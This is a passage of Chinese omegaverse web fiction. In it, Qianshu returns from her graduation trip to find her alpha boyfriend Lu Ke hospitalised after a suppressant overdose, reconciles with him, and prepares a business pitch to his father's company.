眼看着阿姨还要把其他照片翻出来给千述看,千述忙摇头拒绝道:“不用了阿姨,我有男朋友的。” 千述拒绝的很干脆,只第一眼看了男人的照片,后面视线便再也没放在阿姨的手机屏幕上。 她确实对别人不感兴趣。 “啊,这样啊。”听到这样说,阿姨也没有多纠缠,尽管她心里有点失落。 她真的是还没上车,就注意到这个小姑娘了。安安静静的,看着舒心的很。 “那真是可惜了,你们没缘分。” 在到阳关的时候,阿姨还拜托老年旅行团的朋友,替她和千述拍张照片,说碰到就是缘分,留张照片作纪念。 ———————————— 千述离开了几天,方知明就陪了陆恪几天。 接到陆恪叫他出去喝酒的消息时,方知明还震惊了一下今夕是何年,陆哥居然主动约他。 实在是因为陆恪和千述在一起后,变化太大。从叛逆不羁的公子哥变得宜室宜家,感觉整个人都从良了。 所以,在看到陆恪时,方知明还惊了一下:“陆哥,你染的这头发真带劲儿,啧!看起来比以前更辣了。” “上车。”陆恪淡淡道。 方知明屁颠屁颠上车了,然后两人在引擎的轰鸣声中离开。 方知明坐在陆恪的车里,转头看他,有点疑问:“今天这么晚了还出去玩,千述不管你吗?” 方知明不知道千述出去旅行了,因为千述没发朋友圈,事实上,千述也很少发朋友圈。 她的朋友圈设置的仅半年可见,然后这半年,一条也发过。 陆恪抿着唇,握着方向盘目视前方,没回答方知明的问题。 方知明心大,根本没发现陆恪情绪不对,还在他旁边喋喋不休。 “千述对你真好,也不管东管西的。我其实还挺想打唇钉的,多酷啊!但是我对象她不同意,她不准我就不能打。” “陆哥,你过得真挺自由的。”方知明感叹道。 下一秒,跑车突然加速,在空旷的路上箭一般的冲出去。 方知明立刻攥紧安全带,尖声道:“陆哥,这速度开得有点快了!” “你不会说话就闭嘴!”陆恪声音冷冽。 操!谁想要自由啊? 人多的地方陆恪就减速了,慢吞吞的龟行在A市的车水马龙中。方知明一整个惊魂未定,发誓下次不会再坐陆恪的车了。 两个人到酒吧里的时候。已经快到晚上12点了,正是夜生活最热闹,最人声鼎沸的时候。 陆恪点了酒,然后也不喝,靠在沙发上玩手机。他垂着眼眸,酒吧里的灯光落在他的脸上,晦暗不明,看不清眼底的情绪。 千述从第一天给他发了消息,说她到了,陆恪没回,后面千述再也没发过消息。 现在已经第二天了,她出去玩了吗,又去了哪里,陆恪一概不知。 陆恪点开千述的朋友圈。她的朋友圈很干净,甚至连个性签名都没有,背景图是一片流动的绿色,宛若生命。 当然,也找不到任何陆恪的痕迹。 千述从没有在朋友圈里公布过陆恪的存在,除了关系亲近的朋友知道他们在一起了,其他人丝毫不会把千述和陆恪联想到一起。 如果这样的话,是不是他们分手了,别人可能都不知道他曾经和千述在一起过。 陆恪心里很闷,很堵,又有点委屈,感觉喘不上来气。他将手机丢在桌上,然后给自己倒了一杯酒,一饮而尽。 他这边一杯接一杯的喝闷酒,方知明在旁边倒是跟对象聊天,聊得火热。 聊得差不多了,方知明就刷刷朋友圈,浏览一下今天别人发的朋友圈,然后挨个点赞。 刚一点开,就看到千述发的朋友圈,显示是一分钟以前发的。只有一张照片,是莫高窟的门口。 黄沙茫茫,戈壁连天,莫高窟便嵌在荒芜的崖壁上。 “咦?”方知明愣了一下,把手机拿给陆恪,问道,“陆哥,千述出去旅游了吗,怎么没跟你一起去?” 方知明很多的旅行都是跟他对象一起去的。 陆恪接过方知明的手机,点开照片。其实千述也没发什么,就是很简单的一张照片,甚至她本人都没出镜。 但是陆恪就是越看越委屈,越看眼睛越热。千述连发朋友圈,都不肯给他发消息。 千述也不想要他的戒指。 陆恪吸了吸鼻子,把手机丢给方知明:“拿走,别给我看她的动态,我不感兴趣。” 方知明看着怀里的手机,又抬眼看着陆恪冷硬的侧脸,秒懂。 两个人吵架了。 他几乎是下意识的以为是陆恪又闹脾气,所以跟千述有了矛盾,毕竟陆恪脾气很差。 “陆哥,你真应该收敛一点,别老给千述脸色看。她已经很温和了。”方知明在一旁苦口婆心,劝着陆恪。 陆恪立即抬眼看着他,声音绷紧,涩声道:“你觉得是我的错?” “我就是贱,我上赶着讨她欢心。买了情侣对戒送给她,她不要。你觉得是我的错?那上面甚至还刻着我们的名字!” 陆恪情绪没绷住,语气又冷又硬,还带着一丝讽意。 方知明说不上来话了,立刻临阵倒戈,不带一丝犹豫:“这确实是千述做的不对了!反正都在一起了,收个戒指又没问题。” “陆哥,这次真是千述做的不对。” 方知明心虚的把手背到身后,因为他的无名指上俨然带着一个戒指。很早之前他对象送他的情侣对戒,两个人一人一枚。 随着千述的旅行越往后面,陆恪身上的气场越冷凝。因为他们已经断联好几天了。 除了第一条莫高窟的照片,千述后面再没发过动态。陆恪的朋友圈倒是一条接着一条,身边的人越来越多,玩的种类也越来越多,潇洒的很。 两个人就这样对峙着。 …… 今天走了敦煌西线,明天上午再休息休息,下午三点的飞机,到A市,估计傍晚六点。 去雅丹魔鬼城 的时候,那边是无人区,信号特别差,时有时无,手机除了拍照,几乎没啥用。 那晚的星空特别震撼,繁星点点,浩瀚一片。司机还给她们寝室四个人拍了一张星空下的合照。 等千述她们回到酒店的时候,已经快晚上11点了,真是给人累得够呛。大家只想洗漱洗漱,睡觉休息。 市区里有信号,千述打开手机,才发现晚上九点多的时候,陆恪居然破天荒的给千述打了一个视频通话。 但是无人区那边没信号,千述没接到消息,现在都过去好几个小时了。 千述给陆恪打了一个视频过去,没人接。她又发了条消息过去,问道:“怎么了?” 也没人回。 应该又生气了吧,毕竟大少爷好不容易拉下面子来求和。 现在实在太晚,千述又真的很累,真的没有心情去哄他。再加上千述明天就回去了,想着那还是明天回去再说吧。 于是平安无事的度过了一夜。 第二天在机场的时候,四个人才真正的感受到毕业离别的实感。 寝室里的东西已经寄了回去,所以除了千述和罗玉兰要回A市。谢宁和向曼青都是回家,飞往不同的城市。 谢宁抱着三个人哭,眼泪一颗一颗的掉:“你们以后可要回来看我,我不想一个人在学校成为二旬孤寡老人。” 她一个人留校读研,日后走过的校园每个角落,都留着四个人的回忆,颇有一种故地重游,刻舟求剑的悲凉之情。 向曼青真是哭笑不得,道:“千述和罗玉兰都在A市,想见面什么时候见不到。我才可怜好不好,在异国他乡,孤苦伶仃一个人。” 离别总是不舍,这些伤感的情绪藏在了打趣的话语中,让气氛显得不那么凝重。 千述和罗玉兰的航班是最早的,飞机起飞的那一刻,这场毕业旅行宣告着结束。 …… 回到云栖御庭的时候,已经快七点了。 现在是夏天,A市天黑的晚,现在正处在一个天欲暗未暗的时候。白日的燥热还未散尽,城市的轮廓却已经开始模糊了。 千述开门的时候,屋里没开灯。 人出去了吗? 千述在玄关换了鞋,走近客厅。整个屋子都处在一种很微妙的安静中,仿佛被按下了静止键。 卧室的门虚掩着,千述上前推开。 房间里拉着窗帘,光从那一丝没拉紧的缝隙中泄了进来。床上有些凌乱,被子堆在一角。千述本就不多的衣服全部从衣柜里拿出来,堆放在了床上。 卧室里没有一个人,空气中飘荡着一丝若有似无的信息素气味。 千述站在门口,给陆恪打了语音通话。 响了很久,千述听着耳边清晰的“嘟嘟”声。良久,终于有人接了。 “陆恪,你在哪里?”千述垂眼看着床上的衣服,问道。 电话里不是陆恪的声音,而是更沉稳雄浑的男声,带着明显怒气,是陆凌风。 “他在医院。” 随后,通话被对方挂断了。 第53章 第53章筑巢效应 千述到医院的时候,天已经完全黑了。但是医院里的白炽灯惨白,是那种冷入人心的白。 这一层楼是vip病房,所以走廊里很安静,除了偶尔有一两个护士走动的身影,几乎没有别人。 很安静的时候,声音会透过门窗,落进人类的耳朵里,尤其是在门没有关严实的情况。 就像现在,千述还没走到门口,就听见了里面争执的声音。 “跟她分手。”陆凌风语气冷沉。 “我不。” 陆恪很犟,脸色苍白着。他昨晚昏迷过去,今天上午才醒过来。 陆凌风想发火,但是看着陆恪穿着病号服的样子,又心疼,舍不得骂他。只能气急败坏的围着他的病床转了一圈。 “你是alpha,她是beta!你们根本就不合适!不合适知不知道!” 陆凌风语气无奈,他简直是恨铁不成钢的看着自己的儿子。 天知道陆凌风来云栖御庭的时候,就看到陆恪晕倒在床上,简直吓得心脏都要骤停了。 卧室里铺天盖地的信息素气味,让同为alpha的陆凌风都皱紧眉头。而陆恪整个人已经浑身发烫,昏迷不醒。他当时身下全是千述的衣服,床边是散落的抑制针剂。 陆凌风急得要命,还是旁边的时谨冷静,立刻打了120。尽管陆凌风和陆恪父子间有诸多嫌隙,但毕竟是亲生的孩子。 千述站在门口,听着里面争执的声音,有点累。现在进去也不是一个好时机,千述退了一步,坐在一旁冰凉的椅子上。 但是陆凌风的声音还是能传到千述的耳朵里,无法隔绝。 “你为了跟她在一起,这次你易感期打过量抑制剂,昏迷到进医院!如果不是我来看你,你昏迷在家了都没人知道!那个女beta有管过你吗?” “这次我只是不小心,多用了一支抑制剂,才会昏迷。跟千述没有关系。”陆恪立刻反驳回去,维护千述。 看看,他儿子,这个时候了,人都晕在家里了,还在维护那个女beta! “跟她没关系?”陆凌风简直要被气笑,“如果你不是跟一个beta在一起,你跟一个omega在一起,你还需要用抑制剂?” 很多话陆凌风以前没说,时谨让他不要太干涉陆恪的事情,他都听了。他很久没有过问过陆恪和那个女beta的事情,但是现在呢? 现在人都进医院了! “你这次易感期她不在家,你用了抑制剂,说的过去。那上次呢?上次她就在你身边,你是不是也用了抑制剂!”陆凌风厉声问道。 空气凝滞一瞬。 陆恪垂着眼睫,靠在病床上一动不动,也不说话,很倔强的样子。 上次易感期,是他和千述的第一次,很幸福,感觉肉。体和心灵都跟千述结合在一起,离千述很近。 陆恪骗了千述,他说家里没有抑制剂,其实是有的。可是陆恪太喜欢千述了,想离她再近一点,让自己永远属于她。 但是信息素不会因为做。爱而停歇,它依旧在血液里,奔腾乱窜。alpha的信息素需要释放,需要标记,这是不可违背的。 陆恪是在千述熟睡时,偷偷去卫生间里用的抑制剂。冰凉的针剂顺着血液进入身体时,血液里的信息素会被强制性的压下去。 这并不是一种很舒服的感受。甚至让陆恪腺体刺痛,仿佛被针扎一般,浑身都在颤抖。 陆恪当时在卫生间里待了很久,直到把这种痛意压下去,才敢出去。然后特别难过的埋入千述怀里,使劲闻着她的气味。 而睡梦中的千述只是感觉到怀里人的依赖,下意识的抬手轻抚陆恪的背。 …… “你不回答,那就是真的了。” 陆凌风还是很了解自己的儿子,看他这个样子就知道用了抑制剂。陆凌风深呼一口气,坐在陆恪床边。 陆恪除了眼睛和陆凌风生得像,其他地方,例如鼻子,嘴巴,轮廓都神似孟时樱。 陆凌风有点心软,好脾气的跟陆恪讲道理。 “alpha不比beta,你跟千述在一起,她什么事都没有。但是你呢,随着alpha年纪的增大,易感期会变得更加强烈。如果强行压制信息素,会导致信息素紊乱。” “这都是很正常的生理知识,我想你应该懂的。” “千述呢?”陆凌风又问道,“千述知道你上次用抑制剂吗?” “我不会告诉她。”陆恪紧抿着唇,苍白的面色带着病态,很偏执。 陆凌风气得一哽,感觉血压都上来了,寿命要缩短好几年。他只能强行舒气,让自己平静下来。 “你瞒她一次,还能瞒她一辈子?她那么聪明,这次住院你能瞒住她吗?” “如果她千述有点良心,她如果爱你!她就应该放手,让你不要……” “你是来看望病人的吗?” 外 面护士的声音突然响起,打断了屋内的争执,空气静了一瞬。 陆恪的脸立刻就白了,呼吸一滞,忙转头看向门外。 门外,千述站起身,方才还低垂的头抬起来。她微微勾唇一笑,礼貌道:“是的。” 不知为何,面前的人虽然在笑,但无端的就是觉得有点苦涩。护士推着仪器,打开门,道:“进去吧。” 千述跟在护士后面进了病房。 “千述。”陆恪立刻直起身,眼巴巴的看着她。 “陆总。”千述经过陆凌风身边,跟他礼貌问好。 陆凌风“嗯”了一声。 他面上有点不自在,毕竟谁说人坏话被抓包都会觉得有点尴尬。 千述把包放到一旁的沙发上,然后走到床边。 陆恪立刻紧紧握住千述的手,两只手都握着她,抬眼直直看着她,很依赖的样子。 陆凌风在一旁看得头疼,直接出门了,眼不见心不烦。 护士在给陆恪上监护器,要探测陆恪身体内的信息素波动。 “陆先生,麻烦把手伸出来,今天需要输液。”护士在一旁,看着陆恪紧紧抓着千述,提醒道。 陆恪整个人的心思都在千述身上,根本没听见护士在说什么。 还是千述低声道:“把手伸过去,要输液。” 陆恪才回神,松开握住千述的一只手,听话的伸了过去。 护士把针吊好,就出去了,说有事可以按床头的铃声。 …… 护士离开以后,病房里只剩下了千述和陆恪,一下子就变得寂静。 两个人都没说话,千述垂眼看着陆恪左手的针头,而陆恪也抬眼直直的盯着千述的表情。 四周开始凝结起一种微妙的氛围,好像在缓慢的把空气抽走,让人渐渐的无法呼吸。 静默半响,千述开口了:“疼吗?” 方才凝滞的氛围一下子被打散,陆恪感觉自己又可以呼吸了。 他急忙摇头,手指滑进千述的指缝,与她十指紧扣:“不疼。” “一点都不疼。” 千述没说什么,她挣开陆恪的手,去沙发那里把包拿过来。 陆恪下意识想去抓千述,但是人已经远离床边了。 包里装得满满当当的,千述站在床边,把包打开,道:“我去西北给你带了礼物回来,不知道你喜不喜欢。” 那边有很多卖纪念品的地方,千述都买了一些,还买了一个九色鹿公仔,感觉很可爱,萌萌的。 陆恪用一只手把公仔抱在怀里,他穿着病号服,头发有点凌乱,苍白着脸靠在床上。陆恪看着千述,深邃的瞳仁像两颗剔透的黑色水晶。 “谢谢,我很喜欢。” “你喜欢就好。” 两个人又安静了下来,氛围无端的有些拘谨。 其实自从两个人毕业晚会吵架那次,已经有十几天没讲话了,现在见面了又有些尴尬。 千述坐在陆恪床边,她垂眼看着药液低落下来,沿着软管进入陆恪的身体里。 千述面不改色,看不出她心里在想什么。 陆恪一直看着千述,心里很难受,心脏变得很闷很沉重,直直的坠着,又落不下去。 他没有去问刚刚千述在门外,是否听见了什么,陆恪不敢去问。 但是陆恪看见千述,就觉得难过,憋不住情绪。 他在千述面前总是这样,喜怒哀乐都由她主导。 陆恪空着的那只手,摸索着,慢慢的握住了千述,然后与她紧密的十指紧扣。 或许是因为生病,陆恪的手有点凉,比千述还要温度低一些。 陆恪抬眼看着千述,紧紧的看着她,仿佛要看透她的内心。他微微启唇,声音低低的,有点涩。 “千述,你可以亲亲我吗?” …… 陆凌风从外面推门进来,就看到自己儿子,仰着脸,很乖顺的被亲吻着。 陆恪靠在千述怀里,手里抱着她送的玩偶,被千述捧着脸,吻在一起。全然没有了alpha的气场。 陆凌风:“……?” 这是在干什么呢?这么光明正大吗,他这个父亲还没走呢! 来给陆恪检查腺体的医生从走廊另一边过来,陆凌风挡在门口,然后大声的咳了一下。 “咳咳——”陆凌风大声道,嗓子跟劈叉了一样。 被堵在门口的医生意味不明的看着他,犹疑道:“陆总你这是……喉咙有点不舒服?” 千述听到外面的声音,松开了陆恪的唇。陆恪眼神迷离,靠在千述怀里,张着唇,喘息着。千述抬手,拭掉他唇角的水意。 陆凌风在外面清了清嗓子,道:“没事,刚刚出去喝水,呛到了。” 随后陆凌风侧过身,让身前的医护人员进去。陆凌风随即跟了进来,看着陆恪满脸潮红,离开千述就神思不属的样子。 陆凌风真的是面色复杂,有一种儿大不中留的心酸无奈之感。 医生看了仪器上的数据,温和道:“现在陆先生腺体已经趋近于稳定状态,只不过还达不到正常水平,需要继续观察着。” “最好的就是有omega信息素进行抚慰一下。” “不要omega!”陆恪立即拒绝道。 陆恪马上抬眼看千述的表情,有些紧张。但是千述没什么情绪,坦然自若。 “呃……”医生顿了一下,眼神在陆恪和千述之间瞟了两眼,心下了然。 “现在陆先生情况稳定,omega的信息素也不是必要的。只要伴侣在身边,闻着气味,也能让腺体恢复得快一些。” “但是切忌不要对腺体进行二次伤害,比如说……嗯,去撕咬腺体这些,会对腺体造成损伤。”这话就是对着千述说的。 毕竟医生见多识广,有见过AO在易感期或者发情期,太没有节制的,对腺体造成很大伤害最后住院。 千述点点头。 言罢,医护人员便离开了。 现在天色已经很晚了,陆凌风明天还要去公司开会。他懂医生的意思,就是让alpha的伴侣留在医院。 现在陆恪身体还没好,再多的事情,陆凌风都会等陆恪出院以后,再跟千述谈。 “你今天留在医院陪他,家属室里有床,晚上可以休息。”陆凌风看着千述道。 千述点头。 只是最后陆恪和她一起躺在了家属室的床上。 晚上的时候,陆恪的药已经输完,取了吊针。 灯已经全部关了,房间陷入黑暗。 白天千述的平静只是表象,只有在黑暗中,万千心绪才会悄然浮上心头,像是理不清的丝线一般,缠绕着。这让千述很困的身体,居然没有一丝睡意。 千述睁眼看着天花板,沉默着不发一言。 黑暗里,门被轻轻推开了。 千述的被子里钻进来一个温热的身体,紧紧贴着她。 叹息一声,千述抬手摸了摸陆恪的脸,然后感觉陆恪的脸在她的掌心轻轻蹭了蹭。 “这个床两个人睡有点挤了,你还在生病。”千述无奈道。 陆恪把头埋进千述的颈窝:“可是我想跟你一起。” “千述,我是生病的人,你不能赶我走的。”陆恪拖长尾音,跟撒娇一样。 好吧,千述妥协了。 陆恪从千述的颈窝里抬起脸,然后凑上去,亲吻千述的唇角。 寂静的黑暗里,陆恪轻声问道:“千述,你这几天有想我吗?” 千述感受着怀里的人,蜻蜓点水似的吻,千述坦然道:“想了。” “我也想你,每天都想你。” 可能是没有安全感,陆恪这时候又变得很直白,不再别扭的隐藏着自己的爱意。 “但是你没有给我发消息。”陆恪继续道,有点委屈。 千述真觉得有人很会得了便宜还卖乖,倒打一耙。她扯住陆恪的头发,不准他继续在自己身上蹭来蹭去,跟小狗一样的亲她。 “我没给你发消息吗?我第一天刚落地就给你发了,大少爷是看到消息也不会回的。”千述道。 “可是你只发了一条,你再给我发一条,我就会回 你了。“陆恪理不直气也壮的解释道。 陆恪就是要这种很坚定,矢志不移的喜欢。 千述真被气笑,不想再说什么,松开了手,任陆恪在自己怀里蹭来蹭去。 两个人中间有一条布料,千述摸了一下,从被子里拿出来,借着微光仔细看着。 “这是我的衣服。”千述肯定道。 “你拿我衣服来医院干什么?” “我很难受,衣服上有你的气味,只有闻着你的味道,我才会稍微好受一点。” 陆恪的脸有些红,越解释越小声,然后从千述手里夺过衣服,抱在怀里,俨然一副自己的所有物的样子。 陆恪的易感期来的猝不及防,是提前来的,所以他自己都没反应过来。 那时候千述还没回来,陆恪整个人跟被放在火上炙烤一般,很难受。信息素在身体里横冲直撞,找不到突破口。 被子上,千述的气息太淡了,完全不够。 陆恪去衣帽间,把千述所有的衣服都拿了出来,放在自己身边,堆成巢穴的样子。只有这样,陆恪才能感觉千述的气息围绕着自己。 仿若久旱逢甘霖。 这类型的筑巢效应,本来只会出现在发情期或者孕期的omega身上,没想到陆恪是alpha也会有这样的表现。 “随你。”千述干巴巴道,“你爱拿着,你就拿着。” 陆恪轻咬了一口千述的肩膀,害羞了。 第54章 第54章千述老师喜欢你 “陆先生因为信息素等级高,在使用抑制剂后的反应会比普通的alpha更严重,并且会随着年龄增长而加剧。” 窗明几净的办公室,窗户外面绿影摇晃,清晨的阳光透过树叶在白墙上投下斑驳的阴影。现在是早上,夏天的气温还没有升起来,体感温度很舒适。 医生穿着白大褂,坐在办公桌前,千述站在对面,垂着眼眸看着陆恪的检测报告。 她的目光凝在手中的报告上,看着几个明显超出正常值的数字,微抿着唇,睫毛轻轻颤动。 “医学上确实在研究对人体无害,没有任何副作用的抑制剂。但这只在临床实验阶段,具体什么时候能够成功上市还未可知。” “作为医生的角度,我自然是建议患者尽量少用,甚至不用抑制剂。选择更安全舒适的方法平稳度过易感期。” 医生没有把话讲的很透,但是他知道面前的女beta能够理解。 他有些不忍,因为他们科室里已经传遍了这位女beta与高级病房里那位陆氏集团的大少爷有着不同的关系。 “嗯,我知道,这是应该的。”千述点点头,语气平和道,“谢谢医生。” “没事,这是我们的职责。” 千述出了办公室,这边是高级病房,相较于医院的别的科室,要稍微清闲一点。 路过导诊台的时候,几个护士围在一起聊着八卦,笑的满脸桃花开。 “我去挂吊针的时候,一直握着手不放,那个黏人劲儿,啧啧啧,只有小年轻才有这种感觉!”护士压低声音道,笑眯眯的。 “你这算什么,我昨天去查房的时候,还看见亲在一起,甜的很!”护士竖着两个大拇指模拟了亲亲的动作。 “长得真是帅,去病房里检查的时候,看一眼感觉上班的怨气都散了很多。” 在陆恪的容貌上,确实是很客观的帅气。 “好像是陆氏集团的少爷,我看见家属栏那一行填的陆凌风,陆凌风不就是现在陆氏集团的总裁嘛。” “就是陆总的儿子,一个模子里刻出来的啊,长得可像。” “大少爷是alpha,可是我看他的对象好像是一个beta欸!” 护士对那个安安静静站在一旁的女beta印象还挺深的,看起来是一个很沉稳内敛的人,气场也很平和。 “正因为对象是beta,才需要住院吧。”一人点题,直指关键。 “也对哦。”众人感叹,想到了陆恪易感期进医院的原因,有点为小情侣唏嘘。 千述路过的时候,大家看到了她,集体闭嘴了。千述没说话,很自然的路过导诊台,也不知道她听到了没 “哥哥。” 今天一大早,陆昱辰就吵着要来看陆恪。 本来陆恪住院这事,陆凌风和时谨都没告诉陆昱辰。因为他一个小孩子来,帮不了什么忙也就算了,还叽叽喳喳的,怕吵到陆恪休息。 但是昨天下午的时候,陆昱辰给陆恪打视频通话,看到陆恪身后的背景是在医院,挂了电话就硬扭着时谨带他来。 “这天都要黑了,哥哥生病,需要休息的呀。”时谨头疼,柔声劝道。 “那明天,明天一大早我就要去医院看哥哥。”陆昱辰坚持,皱着张小脸,要哭不哭的样子。 时谨拿他没办法,只能答应他:“行行行,明天一大早妈妈就带你去。” 第二天,天一亮陆昱辰就吵着让时谨带他来。 他小心翼翼的推开病房门,走进去,轻轻的叫了声:“哥哥。” 时谨手里提着家里做的营养早餐,跟在陆昱辰后面进了病房。 房间里空空如也,病床上也没人。只看到那枕头上躺着的九色鹿玩偶,昨晚还被陆恪好好的用被子盖上,很乖巧,萌萌的。 “妈妈,哥哥出院了吗?”陆昱辰转头看向时谨,问道。 “没吧。”时谨也觉得纳闷,她记得陆凌风说陆恪要在医院待到易感期平稳度过才会出院。 家属室在病房里面的房间,拉着窗帘,昏暗。 床上躺着一个人,头埋在枕头里,将醒未醒。脸颊上染着粉,跟枝头上开得正盛的桃花一般。 陆恪的手动了动,下意识往身边摸了摸,却只摸到空荡荡一片。他猛的睁开眼,往四周看,房间里一个人也没有,陆恪脸色空白一瞬。 “千述!”陆恪哑声道,着急的翻身下床。 家属室的门从里面一把拉开,陆恪穿着病服,头发乱糟糟的跟陆昱辰大眼瞪小眼。 “哥哥,你醒了。”陆昱辰呐呐道,不知道陆恪为什么会从里面出来。 时谨倒是知道一点。 陆恪没回答,他的视线迅速在外面的房间里扫了一圈,没有千述的身影,她肯定走了。 把他一个人丢在医院。 陆恪心脏感觉被一只无形大手抓住,缓慢的挤压着,有点无法呼吸。他手忙脚乱的找自己的手机,要给千述打电话。 手机里“嘟嘟”的声音响起时,陆恪眼睫低垂,垂在身侧的手指,不受控制的蜷缩着。 陆恪想,等电话拨通,他一定要大声质问千述为什么不把他叫醒,为什么一个人离开,为什么要把他丢在医院里。 但是,在手机里面传来千述温和的声音时“喂,睡醒了吗?” 陆恪心里所有的怨气就像是被扎破的气球,一下子就漏气了。他很委屈的“嗯”了一声。 “你在哪里?我早上醒来的时候都没看到你。”陆恪的眨了一下眼,鼻子有点酸,声音又低又哑。 或许是在易感期身体不舒服,又或许是两人之间有很多未说清的事,总之陆恪不太有安全感,没看到千述就会心慌。 “我看你还在睡就没叫你。”千述解释道,她跟身边的人示意,两人识趣的停下了话语。 千述站起身,拿着手机走到角落僻静处:“我现在在外面,处理一点事,要等一会再过来。” 陆恪吸了吸鼻子,追问道:“要多久?” 千述看了看时间,道:“最多两个小时,中午之前肯定能到医院。” 陆恪抿着唇不讲话了,他走到床边坐下,抱着千述给他买的玩偶。 “这边新开了一家咖啡厅,提拉米苏要吗?我等会儿给你带回来。” 千述的声音经过电流,从手机中穿出来,萦绕在陆恪耳边,更有磁性,更加柔和。 “要。”陆恪的声音有点闷,“但是我想让你早点回来。” “好。 “千述哄他,“我尽量早点回来。” …… 千述挂了电话,走了回去,坐下。对面是一男一女,年轻睿智,有冲劲。 桌上摆着电脑还有资料,千述拿过对面递来的资料,道:“你们继续说。” “这个ppt整理了我们公司的产品与竞品的分析,主要是为了突出我们的优势。后面是合作方案与报价单。” “上次预约了他们市场部的经理,那边说没时间。这次终于预约上了,但是只有十分钟的时间给我们。” “十分钟有点紧张吧。”一旁的男性beta道。 “时间当然紧张,你不看是跟谁谈合作。”女alpha翻了个白眼,刚刚严肃的氛围打破了,“陆氏集团,里面谁不是忙得脚不沾地,能有十分钟听我们说都不错了。” “也是,搞得我都有点慌张了。”男beta搓手道。 没想到有朝一日,能去跟陆氏谈合作,感觉自己也是有出息了。 这两位都是千言集团业务部的员工,是千述找贺诚军要的,她说她手上没人,一点不了解产品业务。 贺诚军觉得千述就去吹个枕边风,哪有这么麻烦。但是千述坚持,贺诚军就分了业务部两个愣头青给她,由千述折腾。 千述翻着手里的资料仔细看着,没去管对面两个人谈话,她快速的浏览着,一目十行,看到最后。 “里面有几个需要改的点,等会儿把文件传给我,我在上面修改一下再重新打印。”千述正色道。 她看向二位,微微勾唇道:“到时候你们二位就跟我一起去,拜托你们了。” 他们毕竟是业务部的员工,在产品上面,比千述要清楚很多,可以在谈合作的时候帮千述打辅助。 “这有什么。”面对千述的情求,对面二位瞬间有点扭捏了。 “这都是我们工作应该做的。” 他们俩进公司也就一两年时间,还是个新人。本来以为分到大小姐手下等于被流放了,没想到千述还真是有两把刷子。 “而且那是陆氏!如果合作真谈成功了,我的简历上都可以添一笔了!”女alpha激动握拳。 安静的咖啡厅,是年轻人梦想起飞的地方。 …… 在医院,陆恪简单洗漱,靠在了病床上,怀中抱着千述送他的玩偶。 时谨把病床上的小桌支起来,然后把家里做的早餐放上去摆好:“还没吃早餐吧,从家里给你带的,应该都是你爱吃的一些菜。” 陆恪很少在家吃饭,但时谨还是能从偶尔的几次聚餐中,察觉陆恪的喜好。 “谢谢阿姨。”陆恪低垂着眼睫,视线落在鲜香扑鼻的海鲜粥上,看不清他眼底的情绪。 陆恪没有叫过时谨“妈妈”,时谨也理解,没有强求过 “弟弟就先在医院陪着哥哥,妈妈要先去工作了,下午补课,司机会来接你。” 见陆恪现在情况还好,时谨就放心把陆昱辰留在这儿了,还可以替陆恪解解闷儿。 时谨并没有因为嫁给陆凌风就放弃自己的事业,选择在家当富太太,她仍旧奋斗在职场中。 “好!”陆昱辰猛点头,开心得不行,他很喜欢跟陆恪待在一起。 时谨离开以后,房间里就只剩下陆恪还有陆昱辰。 陆昱辰坐在陆恪的旁边,眨巴着眼睛,道:“哥哥,你的玩偶真好看,是一只小鹿。” 陆恪低头,揪了揪鹿角,随口道:“嗯,千述送的。” “哇,千述老师送你的礼物!”小孩子真的很会提供情绪价值。 陆昱辰又咕踊着凑到陆恪面前,压低声音,好奇道:“哥哥,千述老师是喜欢你吗?” 陆恪抬眼,好整以暇问道:“为什么这么说。” “千述老师送你礼物啊,而且之前在摩天轮上,千述老师想亲你。”陆昱辰煞有其事道。 当时他转过头,就看到千述和陆恪离得很近,陆恪微微闭着眼,任由千述上前,尽管后来也没亲到。 “还有呢?”陆恪眼神微微一动,慢悠悠的问,“你还看出来千述有哪里喜欢我?” 陆昱辰沉思,灵光一闪,道:“上次你喝醉了,千述老师来接你,我看见她牵你的手了。” “千述老师还在游乐园给你买气球,给你买章鱼小丸子,给你买马里奥挂件。” 当时在游乐园,几乎是陆昱辰有什么,千述都会给陆恪也买一份,这其实已经是一种很纵容的行为了。 只是当时的千述和陆恪没有意识到这点。 陆昱辰一点一点的在陆恪面前述说着千述爱他的痕迹,很零碎的一些点,没有惊心动魄。 甚至连陆恪本人都未曾注意。 …… 陆恪出院已经是四天以后,腺体检查没有问题以后,才出的院。 关于alpha的信息素,关于易感期,陆恪这几天没有在千述面前说过一句,千述也没有过多的问。 两人就好像心照不宣的把这个问题忽略,然后又继续的过着情侣之间的同居生活。 好几天没回来了,回到云栖御庭的时候,卧室简直乱糟糟一片。 看到床上摆了一堆千述的衣服,陆恪就脸红心跳,顿觉十分羞耻。又想起自己易感期躺在千述的衣服上,闻着上面千述的气味,很像变。态。 陆恪快步走上前把千述的衣服收了起来:“这些衣服我都会赔给你的。” 千述拦住陆恪的手,道:“不用这么浪费,洗洗就行了。” 陆恪动作顿了一下,脸一黑,道:“你嫌弃我?” 千述真佩服他的脑回路。她上前一步,拽住陆恪的衣领,让他被迫低下头,然后在他嘴唇上咬了一口。 “这叫嫌弃吗?”千述直白问道。 陆恪的脸爆红,话都不会说了,千述的衣服在地板上落了一地。 看样子衣服真的需要洗了。 第55章 第55章做正事开什么灯 “你好,我们是千言集团的员工。我们之前预约了市场部的经理,周信。” “稍等,我们这边核实一下。” 陆氏集团的大楼伫立在国贸ABD的核心地带。这座类似于双子塔的建筑,占地面积超过16万平方米,总建筑面积学34万平方米。 这个互联网行业的强大引擎,A市科技创新版图的璀璨明珠,积蓄着喷薄的能量。 “您好,这边已经看到了您的预约,请各位往这边走,稍后会有市场部员工下来接应大家。”前台的工作人员礼貌温柔的回答。 “好的,谢谢。”千述点头。 跟在千述后面的龚阳阳和谢丁辰悄咪咪的往四周扫视一圈,然后两人又对视一眼,心里啧啧称奇。 “这也太壮观了。” 龚阳阳就是之前的那位女alpha,她之前海投过陆氏,不过简历初筛就没过,陆氏选人要求很高。 三个人安静的在等候区坐着。 谢丁晨搓手道:“咋办啊,我有点紧张了。” “等会儿他拒绝我们怎么办,哎呀!我碰到那种牛逼哄哄的大佬,我就说话不顺畅。我昨晚都没睡好,熬夜到两点,肯定发挥不好了。” 有些人就是一紧张会控制不住的变得话多,就比如说谢丁辰,坐下来后,已经叽里咕噜说了一大堆。 “别紧张,伸头缩头也就十分钟的事,能有多难熬!”龚阳阳倒是激情澎拜,看起来很有斗志。 “那你手别抖。”谢丁辰拆穿。 龚阳阳看着自己颤抖的手,嘴硬道:“我这不是手抖,我是在活跃筋骨。” 两个人在小声的互怼中。 